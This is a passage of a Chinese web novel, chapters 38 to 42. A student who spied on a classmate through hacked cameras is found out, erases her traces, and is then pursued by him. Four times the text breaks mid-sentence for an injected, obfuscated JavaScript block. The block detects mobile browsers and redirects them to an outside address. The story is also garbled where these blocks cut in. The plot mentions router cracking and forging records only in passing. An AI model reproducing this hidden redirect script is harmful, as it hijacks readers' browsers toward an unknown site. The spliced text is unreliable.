骆绎声的微笑越发艳丽:“哦,你不是同性恋,你是我的舔狗。”
沈思过似乎被“舔狗”这个词激怒了。他看起来很想发怒的样子,但是又不敢,只能在原地焦躁地转圈。他一边转圈一边瞪着骆绎声,就像饥饿的狗瞪着一块肉骨头。
骆绎声身体微微往后倾,把自己的后背靠在床头,看起来很放松。他笑着说:“你不是愿意为我去死吗?那就做点你觉得难堪的事情来让我高兴一下。”
他伸出左脚,微微歪着头,用一种天真的语气提议:“比如,舔我的脚。”
骆绎声生得好看,就连脚也很好看。白皙的脚背在光线映照下泛着柔和的光泽,像是被一层薄纱轻轻覆盖,透着几分温润的质感。脚掌骨骼线条流畅自然,看着纤细,却极有力量感。
他就那么伸着脚,天真烂漫地看着沈思过。
李明眸不知道该怎么形容这个表情。
骆绎声无疑是美丽的,像一朵长在腐烂淤泥里的食人花,有着最好看的外表,和最甜蜜的香气。当他露出这样天真烂漫的表情时,就像在引诱路过的昆虫。
所有的昆虫都会因为他的美丽而落网,然后成为他脚下淤泥的一部分。
沈思过对他这个表情很警惕。听完骆绎声的提议后,他停下了转圈的脚步。他站在原地不动,也不上前。
骆绎声收回了脚,慢悠悠地说:“觉得伤自尊吗?那就算了。”那种无所谓的语气,仿佛是小孩子想跟朋友分享不受宠的玩具,听到对方不愿意玩,就随手收回了。
看到那只收回的脚,沈思过突然又动了起来,他一步一步地、慢慢地走向骆绎声。
他最后还是走到骆绎声跟前,把自己的手放到了那只脚上,身体缓缓地半跪下去。他做着下跪的动作,眼睛却专注地凝视着骆绎声,眼角微微抽搐着,仿佛在压抑着什么。
骆绎声看着缓缓蹲下的沈思过,充满恶意地笑了笑:“你真还的舔啊?垃圾,你应该去看病。”
就在这时候,室外遥遥响起警车声,直到门铃声响了起来——是警察上门了。
后面的事情,就很好衔接上了。
沈思过的神情有种异样的镇定。他放开骆绎声的脚,把手铐的钥匙留给骆绎声,然后自己出去查看情况。
沈思过离开后,骆绎声的表情变了。他还在笑,但从刚刚充满诱惑的、隐藏着攻击性的笑法,变成一种从容促狭的笑容,好像小男生发现了什么好玩的事情。
他侧耳倾听外面的警笛声,听了一会,才慢吞吞打开自己的手铐。
打开手铐后,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396251|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做的第一件事情,是捡起自己的手机,给手机开机——刚刚李明眸给他打电话,铃声响起后,沈思过把他的手机关机了。
他翻出刚刚的通话记录,静静看着李明眸的未接来电。
李明眸看着监控录像上的这个画面,感觉自己后颈的汗毛竖了起来。
没等骆绎声对着通话记录研究出什么来,沈思过重新走进了房间。
他看着骆绎声,脸色不是很好看:“有警察上门查‘性侵案’。”说到“性侵案”,他着重强调了那几个字。
骆绎声无所谓地“哦”了一声,表情玩味起来。
沈思过问他:“是不是你报的警?你做了什么?”
骆绎声悠闲地倚在床头上,手中晃动脱下的手铐,笑得很从容:“我为什么要报警?我玩得正开心。”
沈思过面无表情地盯着他,仿佛想从他脸上盯出点什么来,最后还是放弃了:“我出去应付警察,你收拾一下,待会出来配合。“
说完,他就离开了房间。
沈思过离开后,骆绎声的心情肉眼可见地好了起来。
他先把床头柜扶了起来,把地上的杂物重新归位,再扫起碎裂的玻璃。然后整理自己身上的衣服,叠好被子,把床单的折痕拉直。
他轻轻哼着歌,做着这一切。
把所有东西都整理好后,他注意到主摄像头的位置稍稍偏移了。
他像是有什么强迫症一样,摆正了一下摄像头的角度,让它回到原先的角度。
李明眸看着监控画面随着骆绎声的动作不停晃动,从微微倾斜的角度,回到一开始的视野:正正中中地对着床。
然后她看到骆绎声对着摄像头笑了一下,用口型对着镜头说了三个字:“李-明-眸-”
屏幕外的李明眸:!!!
她的手抖了一下,监控录像立刻切走了,画面又回到一开始在门廊的实时监控。
在门廊的实时监控中,那两个警察竟然还没走,四个人在门廊下寒暄了起来,看起来仿佛关系很融洽,是个和谐社会的样子。
不知道之前四人聊了什么,骆绎声突然抬起头来,朝着门廊上的摄像头的方向,说道:“我们并没有邻居,可能是我一个同学的恶作剧呢。”
李明眸隔着屏幕跟骆绎声对视上,突然感觉双腿有点发软。
她好像真的闯祸了。
很显然,这对继父子的关系虽然不像表面上的和睦,但也绝对不是李明眸认知中的样子。
她搞错了情况,报错了警,还把自己暴露了。
这种感觉莫名让她觉得熟悉。
其实在发出邮件后,她就应该停止对骆绎声的观察,只有在骆绎声给她回复邮件的情况下,她才能接着往下调查。
她被看似安全的情况蒙蔽,在好奇心的驱使下,又做了后面的这些事情。
她想到骆绎声对着镜头做出的那个“李明眸”的口型,打了个冷颤,迅速关闭电脑,给手机关机,还把里面的sim卡抠了出来。
她害怕待会会接到骆绎声的信息。
39. 反省与对策
电脑屏幕熄灭的瞬间,李明眸瘫坐在椅子上,身体冰冷僵硬,只有思绪在惊恐的余波中疯狂翻涌。
费同。
这个名字像一根冰冷的针,重新刺中了她。
那个小学同学扭曲的异象——布满伤痕的皮肤、畸形的关节——清晰地浮现出来。
随之而来的,是肚子上仿佛又隐隐作痛的淤青,是费同那充满恐惧和憎恨的攻击。
“异象就是一个人最不想让人知道的秘密。”
“是她看到了也绝对不能说出来的、绝对不能去触碰的,别人的痛苦。”
“廉价的同情心无法帮助任何人,说出来也只会加重对方的痛苦和扭曲。”
这些被她刻在骨子里的认知,在费同事件后形成的铁律,她竟然……又一次忘记了。
骆绎声的赤.裸异象,像一张巨大的、充满诱惑的网。她以为自己是去“告知”,是去“帮助”。
但她不仅说出了那个秘密,还像个偷窥狂一样,持续地、深入地挖掘,误以为能掌控局面。
她又误入了别人的秘密漩涡。
她又一次越界了。
而且这一次,她触碰的秘密,其背后隐藏的深渊,比她想象的更幽暗扭曲。
沈思过那扭曲的爱欲与控制,骆绎声那隐藏在平静表象下的……令人诧异的反击与操控,这超出了她“廉价的同情心”所能理解的范畴。
她不仅没能提供帮助,反而推动剧情,让它走向了更危险的境地。
恐惧的浪潮稍稍退去,一种更深沉的自责和懊恼涌了上来。这次不仅仅是“告知”的问题。
最初在公交车上,在那个雾气散开的星夜,当她作出告知决定时,她确实是担心着骆绎声的。
那份担心是真实的,驱动她发出了那封匿名邮件。
但当那封匿名邮件如石沉大海,当骆绎声表现出诡异的平静,这份“担心”就迅速蜕变成了噬骨的“好奇”。
为什么他不害怕?
为什么他不好奇是谁发的邮件?
他和沈思过到底是什么关系?
那些被删除的视频里藏着什么?
这些问题像藤蔓一样缠绕着她,驱使着她像个幽灵一样在他周围徘徊,像个偷窥狂一样日夜盯着监控屏幕。
当她定时查看实时录像,看着骆绎声在镜头中吃饭、睡觉、练习……
当她这么做的时候,也许她跟沈思过没有什么不同。
而这份失控的好奇心,最终结出了恶果——那张该死的海报,那个愚蠢的疏忽,直接导致了昨晚的风暴。
这是代价。她为自己的越界和好奇心,付出了暴露的风险,更把骆绎声推入了与沈思过的正面冲突中。
虽然监控中的骆绎声并非她想象中的弱者,但这改变不了她惹出麻烦的事实。
费同的攻击,赵医生的转介……过往的“代价”直接明确,她习惯了那种伤害和排斥,甚至有种“果然如此”的认命感。
但骆绎声似乎不同。
监控画面里那个对着镜头露出艳丽而充满恶意笑容的骆绎声,那个轻易压制沈思过、用言语羞辱和刺伤对方的骆绎声,那个在警察面前从容演戏的骆绎声……这颠覆了她对他的认知。
骆绎声不是受害者。至少,不是她以为的那种被动承受的受害者。
他那赤身裸.体的异象,根源恐怕根本不是她以为的监控带来的屈辱感,而是别的东西。
而她作为一个自以为是的“告密者”和“窥视者”,现在彻底暴露在骆绎声的视野里了:他对着镜头清晰地做出了“李明眸”的口型。
他知道是她发的邮件,是她报的警,是她像个幽灵一样窥视着他生活的每一寸角落。
他会怎么做?
李明眸打了个剧烈的冷颤,寒意从脊椎骨窜上来。
他会像费同一样用暴力报复?他显然不是费同那种简单粗暴的类型。他那双漂亮眼睛里闪烁的,是更复杂、更危险的光芒。
是玩弄?是利用?是让她付出更“有趣”的代价?
她想象着骆绎声可能会采取的措施,被自己的想象吓到。
她猛地甩甩头,强迫自己转动僵硬而迟钝的大脑。
现在不是害怕的时候,必须做点什么!
清理痕迹!保护自己!
她像溺水者抓住浮木一样,扑向电脑,重新开机。
先处理报警记录。
幸好她刚刚拿起手机时,犹豫了一瞬,用的不记名电话报警。
她迅速在电脑上操作,将那个虚拟号码的关联信息彻底抹除,并伪造了几条看似垃圾短信的记录覆盖上去。
只要警察不投入巨大资源深挖,应该查不到她头上。
然后处理电话记录。
刚刚她给骆绎声和沈思过打了微信电话,两个电话都没接通。
她深吸一口气,登上电脑微信,找到骆绎声的对话框,飞快地打字:【刚想跟你说《人工智能开发史》的分数,打你电话关机了?】发送。
又给沈思过发了一条:【沈导,刚打您电话想确认宋教授要的资料清单,好像没接通?资料他收到了吗?】发送。
理由足够日常和普通,只要对方不深究,就能混过去。
再处理匿名邮件。
这个她最有信心。发送服务器经过多次跳转和加密,IP地址是动态虚拟的,附件也做了特殊处理。
没有人能逆向追踪到她。这是她为数不多做得干净的地方。
最后处理监控入侵痕迹。
她仔细检查了入侵沈思过家和后来连接庭院路由器的所有日志记录。反复确认没有留下任何指向她真实IP或设备的有效痕迹。
宋教授那个“绝密勿动”的项目文件访问记录?她当时是用宋教授电脑的合法权限操作的,而且只查看了代码,没有修改或下载,理论上没问题。
路由器破解?用的是通用漏洞脚本,没有个性化特征。
一一确认完毕,李明眸紧绷的神经稍微松弛了一点点。
技术层面,她似乎……暂时是安全的。
只要她死不承认邮件是她发的,对监控和报警的事情装作不知情,一口咬定昨晚只是联系学习事宜,那么,骆绎声就没有确凿的证据。
“一切都在掌握之中。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396252|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她在心里如此默念,试图给自己一点信心。
然而,这个念头刚升起,脑海中就无比清晰地浮现出监控画面里,骆绎声对着镜头无声开合的嘴唇——“李-明-眸”。
一股寒气瞬间冲散了那点可怜的信心。李明眸又微微打了个冷颤。
应、应该在掌握中吧……?
处理完这一切后,李明眸浑浑噩噩地关掉电脑,拔掉电源。
然后像一具游魂一样,在屋子里机械移动。
直到夜深,钥匙转动门锁的声音响起——姨妈回来了。
“你怎么了,脸色这么差?”姨妈一进门就吓了一跳,放下包走过来,伸手想探她的额头。
她猛地一缩,避开了姨妈的手:“没…没事,就是有点累。”
“真的没事?你灯都没开。”姨妈满脸担忧,仔细打量她,“是我之前让你想的问题……让你压力太大了吗?”
李明眸反应了好一会,才知道姨妈说的是“思考幸福生活的标准”的问题。
她的心脏慢慢缩了一下……她最近一直在想骆绎声的事情,把这问题给忘了。
姨妈看她这个表现,微微叹了口气,没再谈这个问题。
仿佛是为了转移话题,姨妈絮叨起工作的烦心事,说起海洋研究中心的临时研究员工作,有点抱歉自己最近加班太多,没有留意李明眸的状态。
李明眸浑浑噩噩地听着,那些关切的话语像隔着一层厚厚的毛玻璃传来,模糊不清。
她只是木然地点头或者摇头,行尸走肉般应付着姨妈的询问和端来的热牛奶。
姨妈看她这样,又叹了口气,让她喝完牛奶,就把她打发去睡觉了。
然后她躺在床上,彻底失眠了。
不同于发出邮件那晚的亢奋清醒,这次是纯粹的、冰冷的、睁着眼睛的煎熬。
天花板上的纹路在黑暗中逐渐清晰,窗外偶尔经过的车灯将光斑短暂地投射在墙壁上,又迅速消失。每一次光影变幻都让她心惊肉跳,仿佛那是什么不祥的鬼影。
她把关机的手机放在离床最远的角落,还用一件衣服盖住,仿佛骆绎声的信息会伴随着辐射而来,将她照到变异。
她想象着开机后会收到的骆绎声的各种信息,在被窝中微微出了点冷汗,辗转反侧,就这么看着天亮了起来。
随着窗帘外的晨光越来越亮,她眼睛里的红血丝也越来越多。
她的眼球干涩刺痛,大脑却异常清醒,清醒地感受着焦虑。
一个念头突然冒出来:请假吧。就说自己失眠一整晚,身体不适。这样就不用去学校,也不用面对可能出现的骆绎声。
这个想法让她松了口气,甚至感到一丝虚弱的庆幸。
但下一秒,她又麻木地想:不行,太可疑了。
为了假装什么都不知道,什么都没发生,她必须表现得和往日一样。
她必须去学校。
这个认知像沉重的枷锁,让她不得不拖着沉重的身体,像受刑一样挣扎着起床、洗漱。
镜子里的自己脸色灰败,眼下的乌青浓得吓人。她用冷水狠狠扑了脸,试图打起精神,但收效甚微。
40. 追与逃1
洗漱完后,李明眸浑浑噩噩地出门,走向公交站,看着438路公交像往常一样准时到来。
排队上车时,轮到李明眸了。她下意识地摸出手机——要刷乘车码。
要开机了!
她手指僵硬地长按电源键,看着屏幕亮起,桌面显现。
她屏住呼吸,死死盯着屏幕上方的通知栏。
没有红色的未接来电数字角标。
没有绿色的微信未读信息提示。
没有短信图标上的小红点。
屏幕干干净净,空空如也,和她此刻因极度紧张而一片空白的大脑一样。
“喂,同学,快点啊!刷不刷?”后面排队的人不耐烦地催促。
“啊?哦!刷,刷!”李明眸如梦初醒,手忙脚乱地打开乘车码APP,匆匆扫码,逃也似地钻进车厢,找了个角落位置坐下。
坐下后,她再次拿出手机,解锁,点开微信,点开通话记录,点开短信……一遍遍确认。
真的没有。
一条来自骆绎声的信息都没有。甚至没有未接来电。
他也没回她那句【刚想跟你说《人工智能开发史》的分数,打你电话关机了?】。
李明眸死寂了一整晚的心脏,被一股隐秘的、不合时宜的狂喜攫住。
她侥幸地想:难道……骆绎声没有真的发现她?昨晚那惊悚的对峙和精准的口型,只是虚惊一场?
他没找她,没质问她,说明他根本没锁定她,或者……他根本不在乎?
昨晚他对着摄像头喊她名字的画面又不合时宜地跳出来。
李明眸用力甩头,像要甩掉一个讨厌的苍蝇。
“是巧合!一定是巧合!”她在心里大声对自己说,“他那时候可能刚好想到我了?或者……他喊的根本不是我的名字?是我太紧张看错了口型?对,灯光那么暗,角度也不对,肯定是我看错了!他可能说的是别的字,或者叫的是别人……”
她看着自己空空如也、一条信息也没有的手机,这份“证据”让她内心的侥幸迅速膨胀成了近乎狂喜的笃定。
“嗯,一定是这样!没事了,安全了!”
她紧紧握着手机,仿佛握着免死金牌,望向车窗外飞速倒退的街景,第一次觉得清晨的阳光如此明媚。
这份劫后余生般的窃喜和侥幸,像一层脆弱的气泡,包裹着李明眸踏入熟悉的校门。
她甚至努力挺直了脊背,试图找回一点“一切如常”的感觉。
然而,这层气泡在她走到自己常上课的教学楼下,正准备踏上台阶时,“啪”地一声,被无情地戳破了。
一个裸男斜倚在廊柱的阴影里,姿态闲适,却像一道无形的墙,精准地堵在了她的必经之路上。
是骆绎声。
李明眸的身影在这一瞬间凝固了,手机里空荡荡的信息栏此刻成了最大的讽刺。
骆绎声没发信息。
因为他就在这里。
等着她自投罗网。
经过的学生目光频频投向倚在廊柱旁的身影。
“我们学院有这号人?”“好像是艺术学院的,叫骆什么……”“真人比照片好看多了。”“在等人吧?”
李明眸大脑一片空白,只能听到一个指令:离开这里!
她几乎是本能地、极其缓慢地、不着痕迹地向后退了一步,指尖冰凉地迅速拉起卫衣兜帽,试图将自己缩进那点可怜的阴影里。
她甚至不敢转身,只用眼角的余光瞥着来时的路,准备像个幽灵一样悄无声息地消失。
然而,就在她身体重心后移,脚跟即将离地的刹那——
“李明眸。”
那道声音不高不低,清晰穿透周围低语,精准地落在李明眸耳中。
骆绎声叫出了她的名字,语气温和,没有质问,甚至还笑了一下。但她看得分明——他眼底根本没有一点笑意!
从人群中叫出她的名字后,骆绎声抬起脚,不紧不慢地,朝着她所在的方向,迈出了第一步。
李明眸脑海深处模糊储备着一些预案:她应该停下后退动作,自然地转身,说一句“是你啊早”,然后按照昨晚想好的剧本,搪塞过去……
然而,所有的理性设计,所有的精心准备,在骆绎声抬脚向她走来的那一刻,轰然崩塌。
身体比头脑快了千万倍。
那是镌刻在基因深处的本能,仿佛是小动物遇到掠食者时的最原始反应——逃!
没有任何思考,李明眸猛地转身,拔腿就跑!
但骆绎声的速度比她快许多。
没有“你站住”或者“你等等”,在李明眸像兔子一样窜出去的瞬间,骆绎声的身影已如离弦之箭迫近。
才跑出去几步,李明眸的后颈兜帽就猛地一紧——她被人从后面拉住了卫衣兜帽。
“咳咳!”她被迫停下脚步,跑动的惯性让她向前踉跄一下,脖子被勒得生疼。她咳嗽两声,差点呛出眼泪。
被像拎小猫一样牢牢提住后颈兜帽的瞬间,她狂乱的心跳和混乱的思绪,反而诡异地平息了一瞬。
完了,蠢透了!她绝望地想。刚刚不该跑的!这一跑,简直是不打自招!
这该死的腿,反应太快了!
她强迫自己停止徒劳的挣扎,僵硬地站在原地,拼命转动当机的大脑:补救!快想怎么补救!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396253|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>骆绎声提着那个兜帽,将她原地转了半圈,迫使她面对他。
他微微俯身,那张过分好看的脸凑近了些,目光在她脸上逡巡,仿佛在确认一件失而复得的物品,语气温柔:“是李明眸呢,没错。”
她补救的话脱口而出:“哦,是你啊,早上好。”
自然得仿佛她刚刚没有逃跑。
李明眸给自己做了一下心理建设,说服自己镇定一点。然后她维持着一个被骆绎声拽住兜帽的状态,正儿八经地问他:“你找我什么事?”
骆绎声微笑反问她:“你昨晚给我打了个电话,我有点忙,就没接。你昨晚找我什么事?”
这道题她会!
李明眸压住喜悦,按照自己想好的话术,平稳地解释:“哦,宋教授有道题的答案给错了,你的分数又提了3分,恭喜你。”
“谢谢。”骆绎声笑了一下,把她兜帽又往上提了点,让她的脸全部露出来,玩味地看着她,“话说我俩的交情也没有那么好,但我一大早来找你,你倒是一点都不好奇呢?”
李明眸的喜悦戛然而止,头皮有些发麻。
她没接这个话题,语气尽量镇定:“你能不能放开我的兜帽?这样不太礼貌。”
骆绎声语气很平淡:“我怕撒手你就没了。”
李明眸:“……”
就在二人僵持时,一把熟悉的声音从隔壁插了进来。
“明眸,你在这儿呢?上午怎么没来找我?” 宋教授夹着几份文件从隔壁匆匆经过,看到李明眸和骆绎声“站”在一起,顺□□代,“待会上完课,去办公室帮我看几篇论文,急用!”
李明眸热情地喊:“好的教授!”为了撇清自己此刻的“心虚”状态,她侧头看向骆绎声,“骆绎声也一起去吧?” 仿佛她很乐于邀请他同行。
宋教授这才留意到李明眸被抓住的兜帽,疑惑问道:“你们在干嘛呢?”
周围原本就留意着这边的学生,此刻也停下了脚步,好奇地望过来。
骆绎声笑了笑,帮李明眸把凹进去的帽子翻了出来:“我帮她整理帽子呢。”
说着,他帮她把帽子理顺,还给她拉平了衣服皱褶,动作轻柔细致,指尖不经意拂过她的颈侧,带来一阵冰凉战栗。
他一边整理,一边凑近她耳边,用只有两人能听到的、低沉而清晰的音量,一字一顿轻声说:
“看来你很忙,那我们放学见吧,增进一下我们不怎么样的交情。”
没等李明眸想好理由拒绝,他放开了整理好的衣服,跟宋教授和在场的几个女生都打了招呼,然后自己施施然走了。
李明眸僵在原地:我……我还没答应呢?!
41. 追与逃2
骆绎声离开后,李明眸接着去上课,在课堂中度秒如年。
讲台上教授的声音忽远忽近,板书变成一片模糊的符号。她强迫自己盯着书本,目光却无法聚焦,脑海里反复回放早上的场景。
她懊悔得几乎要哭出来:为什么当时她要逃跑?
还有放学要怎么办?
好不容易熬到课程结束,她脚步虚浮地走向宋教授的办公室。
帮忙看论文的任务,此刻成了她唯一能抓住的、暂时逃避“放学见”的浮木。然而,精神压力和彻夜失眠带来的疲惫感,如同潮水般将她淹没。
她坐在电脑前,对着屏幕上密密麻麻的英文学术论文,视线无法聚焦。一行行字母在她眼前扭曲舞动。
宋教授让她检索一个关键数据,她点开数据库,输入关键词,却对着跳出来的结果列表发呆了足足一分钟,完全忘了自己要找什么。
她努力集中精神,却感觉头痛欲裂,太阳穴突突直跳。
宋教授担忧地看着她:“你咋了,脸色这么差?你眼神都发直了……身体不舒服?”
李明眸勉强想挤出个笑容,却感觉面部肌肉僵硬得无法调动。她张了张嘴,喉咙干涩,只发出一个含糊的音节:“嗯……”
宋教授看了她苍白的脸和浓重的黑眼圈一会,无奈叹息:“算了,你这样也干不了活。今天先这样,你回去休息吧!论文我自己看,你养足精神明天再来。”
李明眸猛地抬头看向宋教授,眼睛都亮了几分:这可不是她故意请假,是宋教授主动放她走的,是“自然的发展”!
她过于明显的反应让宋教授愣了一下,有点狐疑:“你这么高兴?”
“啊?没、没有!谢谢教授,我先走了!”李明眸生怕他反悔,语速飞快地道谢,像弹簧一样从椅子上弹起来,手忙脚乱地收拾自己的包包。
太好了!可以走了!不用等放学,也不用面对骆绎声了!
*** ***
李明眸冲出宋教授的办公室,脚步轻快得像卸下了千斤重担。
午后的阳光暖洋洋地洒在身上,她深吸一口自由的空气,感觉压在心口的巨石终于被搬开。
她一边快步走向大楼出口,一边摸出手机,点开了和骆绎声的微信对话框。
指尖在屏幕上飞快地敲击:【我身体不舒服,宋教授让我先回去了……】
打完,她犹豫了一下,觉得不够“安全”,在后面补充强调:【是教授坚持让我回去休息的。】
信息打到一半,一个念头突然钻进脑海:万一他回一句【等我,我送你去车站】怎么办?或者【哪里不舒服?我陪你去医务室?】
不行!绝对不能给他回这种信息的机会!
她看着那句【是宋教授坚持让我回去休息的】,越发觉得像此地无银三百两。
她烦躁地删掉了后半句,甚至连前面那句也越看越不顺眼,仿佛都在昭示着她的心虚。
删删改改,她盯着空白的输入框,忽然又想到:早上骆绎声只说了句“放学见”,没约定具体时间,也没说地点。
而且,她从头到尾都没答应过啊!是他单方面宣布的!她现在是宋教授批准的“病号”,合理早退,凭什么还要跟他报备?
对,就是这样!她越想越觉得理直气壮,迅速删掉了对话框里所有未发出的文字,心安理得地把手机塞回口袋。
走吧,回家,就当什么都没发生过。
她脚步轻快地下了台阶,感受着明媚阳光洒满全身的感觉,准备上个厕所,就去门口搭公交回家。
可是她刚拐了个弯,来到女厕门前,就看到骆绎声的身影出现在走廊尽头,距离她大约只有一百米。
刚刚照耀了她几秒的阳光瞬间褪去了。
怎么回事?怎么突然出现了!这个点他不该在上课吗?!
她已经站在女厕门口,“咻”地一声就闪进了厕所。
厚重的门板隔绝了外面的光线和声音,她背靠着冰冷的瓷砖墙,心跳得很快,庆幸自己这次动作够迅速,骆绎声应该没看见。
冷静一会后,她又想:骆绎声大概不是来找她的,毕竟这个点还没到放学。
也许只是经过呢?
她屏住呼吸,小心翼翼地贴在门缝边,竖起耳朵听着外面的动静:似乎没有脚步声?
她轻轻推开门,眼睛贴上门缝,视野被压缩成一条狭窄的缝隙。
然后她看到了一个赤裸的后背——骆绎声就站在门缝边,背对着她,没发现门后开了一条缝。
她额头滴下一滴汗,又默默地、默
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396254|184279||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
默地把门缝关严了。
“他在等我。”
李明眸心中无比清晰地浮现出这个认知。
他肯定看到她刚刚躲进来的动作了。现在再出去,岂不是坐实了自己在躲他?
可恶,她凭什么心虚?这次她真的是进来上厕所的!不是在躲他!
虽然心里是这么想的,但是李明眸上完厕所后,还是没有出去。
两人就这么在门的两边僵持了半小时,李明眸没有出去,骆绎声也没有离开。
时间一分一秒流逝,厕所里只有水龙头滴水的单调声响。
半小时过去后,李明眸的后怕渐渐褪去,一股羞恼感慢慢涌上来,并且正在变得越来越强烈:骆绎声凭什么堵她?!他早上还提溜她的兜帽,很没有礼貌!
就在李明眸的恼怒攀升到顶点、即将要打开门,出去跟骆绎声吵架时,几个女生的清脆笑声从外面传来:
“我在一档舞蹈综艺上见过你,你是我们学校艺术学院的吧?”“是在等朋友吗?”“方便加个微信不……”
紧接着,是骆绎声温和有礼的回应声,带着点恰到好处的疏离。
虽然他回应着,但声音似乎渐渐朝着走廊另一头移动了……
他在避开那些女生。
李明眸的心瞬间提到嗓子眼:有机会。
机不可失,失不再来。
就是现在!
她像只终于等到猫离开洞口的小鼠,猛地拉开隔间门,以百米冲刺的速度冲出女厕所,头也不敢回,朝着与声音来源相反的方向——教学楼另一个侧门——狂奔而去。
她一路冲出侧门,冲到校门口,心脏还在狂跳。
看到路边刚好停着一辆亮着“空车”灯的出租车,她想也没想,拉开车门就窜了进去。
“师傅!幸福小区!”她的声音还带着明显的喘气。
出租车司机从后视镜看了她一眼,没多问,脚踩油门,驶离了校门口。
出租车渐渐汇入车流。
李明眸抓着前座的椅背,回头望向自己离开的方向。阳光下,海大的大门静静矗立,门口也没有骆绎声的身影。
她长长地、长长地吐出一口气,身体脱力般瘫软在后座上。
然后又恼怒起来:可恶的骆绎声。
42. 真相对峙1
出租车停在幸福小区门口,李明眸钻出车门,快步走进熟悉的小区大门。
午后的阳光在这里显得格外宁静,只有几声遥远的鸟鸣,和风吹过树叶的沙沙声。
她的脚步声慢了下来。
推开家门,一股熟悉的、带着淡淡灰尘和阳光味道的空气扑面而来。
家里静悄悄的,姨妈工作还没回来。工作日的下午,这个小小的两居室公寓,是属于她一个人的绝对领域。
李明眸紧绷了一路的神经,在这份寂静与熟悉中,缓缓地松弛下来。
放松之后,一直被压制的、彻夜未眠的疲倦,终于如潮水般席卷而来。
她反手锁好家门后,先进了卧室,仔仔细细整理好床铺,拍松枕头,将被子展开铺平,每一个皱褶都抚得熨帖。
然后她按部就班走进浴室,用温水洗去脸上的灰尘和疲惫,刷牙的动作都带着困倦的迟缓。
她的身体正在一寸一寸地放松下来。
最后,她换上柔软干净的睡衣,回到卧室,像归巢的倦鸟,掀开被子钻了进去。
床垫和枕头是柔软的,她放任自己的身体慢慢陷进去,蓬松的棉被盖住她,有阳光的气味,不是很重,却带来温暖舒适的安全感。
门外世界的纷扰、骆绎声带来的烦心事、在学校被堵住的羞恼……都被这温暖的堡垒隔绝在外。
她的意识开始模糊,像沉入深海的羽毛,轻盈地向下飘落。
就在意识即将彻底沉入黑暗的前一秒——
“叩、叩叩、叩、叩叩……”
不轻不重,却异常清晰的敲门声,如同投入平静湖面的石子,在这个房间荡起一圈圈涟漪。
李明眸感觉自己正在浮出水面,变得清醒,她强自忍着,紧紧抓住自己的睡意。
她和姨妈在这个城市几乎没什么朋友,不会有人在这个时间点登门拜访。
也许是物业,也许是查燃气表的,也许是邻居的熊孩子。
他们敲一会门,见没有人开,很快就会走。
她催眠自己:她的意识开始模糊,像沉入深海的羽毛,轻盈地向下飘落……
“叩、叩叩、叩、叩叩……”
她催眠自己:她的意识开始模糊,像沉入深海的羽毛,轻盈地向下飘落……
“叩、叩叩、叩、叩叩……”
“叩、叩叩、叩、叩叩……”
李明眸:“……”
一般来说,一个人敲了一分钟门,肯定已经开始不耐烦,会焦躁地、用力地敲。但是这阵敲门声很有规律:一下长,两下短,等三秒;一下长,两下短,再等三秒。
门外的人非常有耐心,他好像很确定里面有人,而且他非要把这个人敲出来不可。
李明眸胸口的火“轰”一下烧了起来。
她猛地从床上坐起来,头发凌乱,眼睛布满红血丝。
她一把掀开被子,光着脚“咚咚咚”地冲到门口。
她甚至懒得去看猫眼,也懒得问一句“是谁”,此刻她只想用最直接的方式终结这噪音,然后回去睡觉。
可是当她猛地打开门后,她可怜的怒火戛然而止,瞬间熄灭了。
站在门外的,不是物业,不是查燃气的,也不是邻居家熊孩子。
是骆绎声。
骆绎声左手捧着一束玫瑰花,右手提着一个保温盒,站在门外微笑:“宋教授说你病了,我来探病。”
说完,他没等李明眸回话,自顾自地走了进去。
他在玄关看了几眼,找到鞋柜,并给自己找了一对拖鞋换上。
李明眸目瞪口呆地看着他登门入室。她既想问他怎么找上门来的,还想把他赶出门去。
但是她一个字都不敢说。
骆绎声在客厅环顾一周,说了句“你家没人啊”,然后在各个房间门口巡逻了一下,在她房间书柜上找到一个花瓶。
他把花瓶里还未枯死的百合拿了出来,扔进垃圾桶,将自己带来的玫瑰插了进去,又往花瓶里添了点水。
